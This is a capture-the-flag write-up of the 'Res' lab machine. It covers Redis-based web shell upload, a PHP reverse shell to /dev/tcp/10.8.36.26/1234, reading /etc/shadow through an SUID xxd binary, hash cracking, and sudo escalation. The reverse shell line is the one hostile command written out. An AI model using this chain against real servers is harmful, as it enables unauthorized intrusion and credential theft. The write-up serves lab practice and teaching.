# Res ## Res - Writeup **Date**: 27/03/2022 **Difficulty**: Easy **CTF**: *** Hack into a vulnerable database server with an in-memory data-structure in this semi-guided challenge! ## Scan the machine, how many ports are open?

## What’s the database management system installed on the server? What port is the database management system running on?What's is the version of management system installed on the server?

## Compromise the machine and locate user.txt First of all, let’s visit the webpage hosted on the port 80:

It displays a default page of an apache server recently installed. As we have seen, there is a redis server running on port 6379. After some reading, I found that there is a way to interact with this service. Let’s download the redis application: Let’s test the connection:

It seems like we have connection with the redis server!

The info command seems to be helpful to retrieve redis server information:

According to this webpage () there is a way to do a Remote Code Execution on a redis server:

We should know the path where we want to write the php file. Since we have visited the page before, we know that the folder is: `/var/www/html` So, following the steps we do the same in our case:

Now let’s visit the page:

It works, now let’s try to write a reverse shell in php:

Let’s open a netcat listener in our machine:

And let’s visit the rs.php file:

We got a connection but it quickly disconnects... Let’s try with this other one-line php reverse shell: ```jsx ' /dev/tcp/10.8.36.26/1234 0>&1\'"); ?>' ```

Yeah, this one works!

We found the key file in the /home/vianka folder. ## What is the local user account password? Before anything, let’s try to stabilize this shell:

Python is installed in the machine, so let’s use it:

Ok, shell stabilized, now let’s look for the local user account password. Can we read /etc/shadow file?

Nope, we can’t. Something interesting in the history?

Let’s see if we find some keys in the user directory... nothing useful I can see... After spending some time looking for ssh keys or something useful, I look for files with SUID activated:

From this list, xxd appears in the GTFO Bins list:

Exploiting this, we should be able to read /etc/shadow file!

Yeah! Now with the info of /etc/passwd, let’s use unshadow and John the ripper to crack the hash!

Unshadow done, now let’s crack it!

Cool! ## Escalate privileges and obtain root.txt Let’s login as vianka and see if we have more permissions:

Enough permissions to access to root folder?

Nope. Let’s see what we can execute with sudo:

Really? We can run any command using sudo...

Woah

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